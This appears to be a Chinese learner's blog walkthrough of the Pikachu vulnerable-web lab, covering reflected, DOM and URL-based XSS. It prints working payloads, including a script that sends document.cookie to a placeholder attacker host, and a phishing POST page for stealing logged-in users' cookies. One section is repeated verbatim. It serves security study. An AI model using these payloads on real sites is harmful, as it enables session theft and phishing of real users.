在學(xué)習(xí)和了解后,感覺還是要上手練習(xí),就在網(wǎng)上找到了一個(gè)比較詳細(xì)的漏洞平臺進(jìn)行練習(xí):pikachu,期間也是經(jīng)過了大大小小的問題,最后成功安裝下來,菜鳥的學(xué)習(xí)之路開始。
在這里現(xiàn)附下載和安裝問題:
[pikachu下載地址]https://github.com/zhuifengshaonianhanlu/pikachu
這里引用一下pikachu官方的話:
Pikachu使用世界上最好的語言PHP進(jìn)行開發(fā)-_-,數(shù)據(jù)庫使用的是mysql,因此運(yùn)行Pikachu你需要提前安裝好"PHP+MYSQL+中間件(如apache,nginx等)"的基礎(chǔ)環(huán)境,建議在你的測試環(huán)境直接使用 一些集成軟件來搭建這些基礎(chǔ)環(huán)境,比如XAMPP,WAMP等,作為一個(gè)搞安全的人,這些東西對你來說應(yīng)該不是什么難事。
Pikachu是一個(gè)帶有漏洞的Web應(yīng)用系統(tǒng),在這里包含了常見的web安全漏洞。 如果你是一個(gè)Web滲透測試學(xué)習(xí)人員且正發(fā)愁沒有合適的靶場進(jìn)行練習(xí),那么Pikachu可能正合你意
我本地用的是phpstudy,所以方便了很多,接下來:
-->把下載下來的pikachu文件夾放到web服務(wù)器根目錄下;
我這里就是phpstudy的WWW目錄下

-->訪問http://x.x.x.x/pikachu,會有一個(gè)紅色的熱情提示"歡迎使用,pikachu還沒有初始化,點(diǎn)擊進(jìn)行初始化安裝!",點(diǎn)擊即可完成安裝。

這樣,pikachu平臺就搭建好了
管理工具里面提供了一個(gè)簡易的xss管理后臺,供你測試釣魚和撈cookie~(在XSS練習(xí)的時(shí)候比較重要)
這里面很多類型都不知道是啥哎-- --
安裝好就開始啦
反射型XSS(get)
打開后只有一個(gè)搜索框,如圖:




還有,這是一個(gè)GET型的XSS漏洞,所以也可將帶有XSS的URL偽裝后發(fā)送給目標(biāo)即可
payload:http://127.0.0.1/pikachu/vul/xss/xss_reflected_get.php?message=%3Cscript%3Ealert(%221%22)%3C/script%3E&submit=submit
如果是POST型的XSS,無法直接使用URL的方式進(jìn)行攻擊
反射型XSS(post)+獲取cookie
上來呢是讓填寫用戶名和密碼


<p class="notice">who is 123,i don't care!</p>并且URL無變化,所以是post傳參嘗試閉合,構(gòu)造Payload:
</p><script>alert(1)</script>成功或者在輸入框輸入:
<script>alert(document.cookie)</script>可獲取cookie
實(shí)驗(yàn)案例:模擬獲取cookie
我們怎么獲得其他的用戶的信息?
GET型
我們需要搭建一個(gè)收集Cookie的后臺,但是這里呢,Pikachu已經(jīng)為我們準(zhǔn)備好了,只需要在左側(cè)[管理工具]欄進(jìn)入XSS后臺,初始化數(shù)據(jù)庫,然后登陸



<script>document.location = 'http://攻擊者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻擊者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit現(xiàn)在看一下xss后臺, 是成功收集到了cookie的
POST型
由于我們不能直接把我們的惡意代碼嵌入到URL中,所以攻擊思路如下:

我們需要自己搭一個(gè)惡意站點(diǎn),然后在網(wǎng)站上放一個(gè)post表單 ,將存放POST表單的鏈接發(fā)送給受害者,誘導(dǎo)受害者點(diǎn)擊,這個(gè)POST表單會自動向漏洞服務(wù)器提交一個(gè)POST請求,實(shí)現(xiàn)受害者幫我們提交POST請求的目的。(post.html頁面的作用是:當(dāng)用戶訪問這個(gè)頁面時(shí),會自動向漏洞服務(wù)器發(fā)送POST請求,然后重定向到漏洞服務(wù)器的index頁面
http://攻擊者/pikachu/pkxss/xcookie/post.html
我們只需要誘導(dǎo)受害者點(diǎn)擊上面的鏈接就能竊取用戶的Cookie)
這個(gè)表單位置在XSS后臺下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服務(wù)器地址和攻擊者服務(wù)器地址,因?yàn)檫@里是在本地演示,因此2個(gè)IP都修改為127.0.0.1,如下:

然后我們需另外打開一個(gè)瀏覽器來模擬用戶,先訪問我們已知的存在POST型XSS漏洞的網(wǎng)站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一個(gè)賬號test/abc123登陸,然后在用戶瀏覽器中訪問偽造的post.html站點(diǎn)(必須是在登陸狀態(tài)下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就會響應(yīng)我們在文件里修改的操作而到首頁

進(jìn)入XSS后臺,就可看到竊取到的Cookie了:

這個(gè)操作包括下一個(gè)釣魚的操作不知道為什么我在火狐瀏覽器進(jìn)行了很多次,XSS后臺都收不到信息,谷歌是有時(shí)候可以,在無解的時(shí)候換了IE瀏覽器試了一次就可以了,這里有點(diǎn)疑惑為什么,畢竟浪費(fèi)了很多時(shí)間呀 -_-
反射型XSS(post)+獲取cookie
上來呢是讓填寫用戶名和密碼


<p class="notice">who is 123,i don't care!</p>并且URL無變化,所以是post傳參嘗試閉合,構(gòu)造Payload:
</p><script>alert(1)</script>成功或者在輸入框輸入:
<script>alert(document.cookie)</script>可獲取cookie
實(shí)驗(yàn)案例:模擬獲取cookie
我們怎么獲得其他的用戶的信息?
GET型
我們需要搭建一個(gè)收集Cookie的后臺,但是這里呢,Pikachu已經(jīng)為我們準(zhǔn)備好了,只需要在左側(cè)[管理工具]欄進(jìn)入XSS后臺,初始化數(shù)據(jù)庫,然后登陸



<script>document.location = 'http://攻擊者/pikachu/pkxss/ xcookie/cookie.php?cookie=' + document.cookie;</script>
http://127.0.0.1(漏洞)/pikachu/vul/xss/xss_reflected_get.php ?message=%3Cscript%3Edocument.location +%3D+%27http%3A%2F%2F攻擊者%2Fpikachu%2fpkxss %2Fxcookie%2Fcookie.php%3Fcookie%3D%27+%2B+document.cookie%3B%3C%2Fscript%3E&submit=submit現(xiàn)在看一下xss后臺, 是成功收集到了cookie的
POST型
由于我們不能直接把我們的惡意代碼嵌入到URL中,所以攻擊思路如下:

我們需要自己搭一個(gè)惡意站點(diǎn),然后在網(wǎng)站上放一個(gè)post表單 ,將存放POST表單的鏈接發(fā)送給受害者,誘導(dǎo)受害者點(diǎn)擊,這個(gè)POST表單會自動向漏洞服務(wù)器提交一個(gè)POST請求,實(shí)現(xiàn)受害者幫我們提交POST請求的目的。(post.html頁面的作用是:當(dāng)用戶訪問這個(gè)頁面時(shí),會自動向漏洞服務(wù)器發(fā)送POST請求,然后重定向到漏洞服務(wù)器的index頁面
http://攻擊者/pikachu/pkxss/xcookie/post.html
我們只需要誘導(dǎo)受害者點(diǎn)擊上面的鏈接就能竊取用戶的Cookie)
這個(gè)表單位置在XSS后臺下的Pikachu/pkxss/xcookie/post.html文件,修改其中的漏洞服務(wù)器地址和攻擊者服務(wù)器地址,因?yàn)檫@里是在本地演示,因此2個(gè)IP都修改為127.0.0.1,如下:

然后我們需另外打開一個(gè)瀏覽器來模擬用戶,先訪問我們已知的存在POST型XSS漏洞的網(wǎng)站:http://127.0.0.1/pikachu/vul/xss/xsspost/post_login.php,并使用另一個(gè)賬號test/abc123登陸,然后在用戶瀏覽器中訪問偽造的post.html站點(diǎn)(必須是在登陸狀態(tài)下)
http://127.0.0.1/pikachu/pkxss/xcookie/post.html
然后就會響應(yīng)我們在文件里修改的操作而到首頁

進(jìn)入XSS后臺,就可看到竊取到的Cookie了:

這個(gè)操作包括下一個(gè)釣魚的操作不知道為什么我在火狐瀏覽器進(jìn)行了很多次,XSS后臺都收不到信息,谷歌是有時(shí)候可以,在無解的時(shí)候換了IE瀏覽器試了一次就可以了,這里有點(diǎn)疑惑為什么,畢竟浪費(fèi)了很多時(shí)間呀 -_-
DOM型XSS
進(jìn)入這一關(guān),pikachu也算貼心-_-,提示我們:先學(xué)習(xí)DOM
嗯,了解過后,回到pikachu開始測試,先輸入如圖:

查看源碼:




所以我們可以通過閉合的方式構(gòu)造Payload,(構(gòu)造的Payload貌似源碼給了·······)
(1)
' onclick=alert(/xss/) //(點(diǎn)擊超鏈接有彈窗)輸入后,頁面代碼就成了
<a href=" onlick=alert(/xss/) //' >
what do you see?
</a>
即首先用一個(gè)單引號閉合掉href的第一個(gè)單引號,然后插入一個(gè)onclick事件,最后再用注釋符//注釋掉第二個(gè)單引號。 這里為什么需要onclick,是通過on事件觸發(fā)?
(2)除了構(gòu)造一個(gè)新事件外,還可以選擇閉合掉<a>標(biāo)簽,并插入一個(gè)新的HTML標(biāo)簽。嘗試如下輸入:
'><img src="#" onmouseover="alert('xss')">(點(diǎn)擊click me就會有彈窗),頁面代碼如下:
<a href>
<img src="#" onmouseover="alert('xss')"
" '>what do you see? "
</a>

造成DOM型XSS的原因是前端的輸入被DOM給獲取到了,通過DOM又在前端輸出,跟反射型和存儲型比起來,它是不經(jīng)過后臺交互的。
還有一種方法:
利用JavaScript偽協(xié)議
在留言框里輸入:javascript:alert("You are attacked !!")然后點(diǎn)擊那個(gè)超鏈接(是js代碼)

DOM型XSS-X
先隨便輸入點(diǎn)東西:aaa吧,細(xì)心點(diǎn)發(fā)現(xiàn)URL發(fā)生了變化
多了一個(gè)text參數(shù):


查看源碼:

跟前面的DOM不同的是,它的輸入是從瀏覽器的URL中獲取的,很像反射型XSS(get)
然而, 注入的payload還是很上一個(gè)一樣的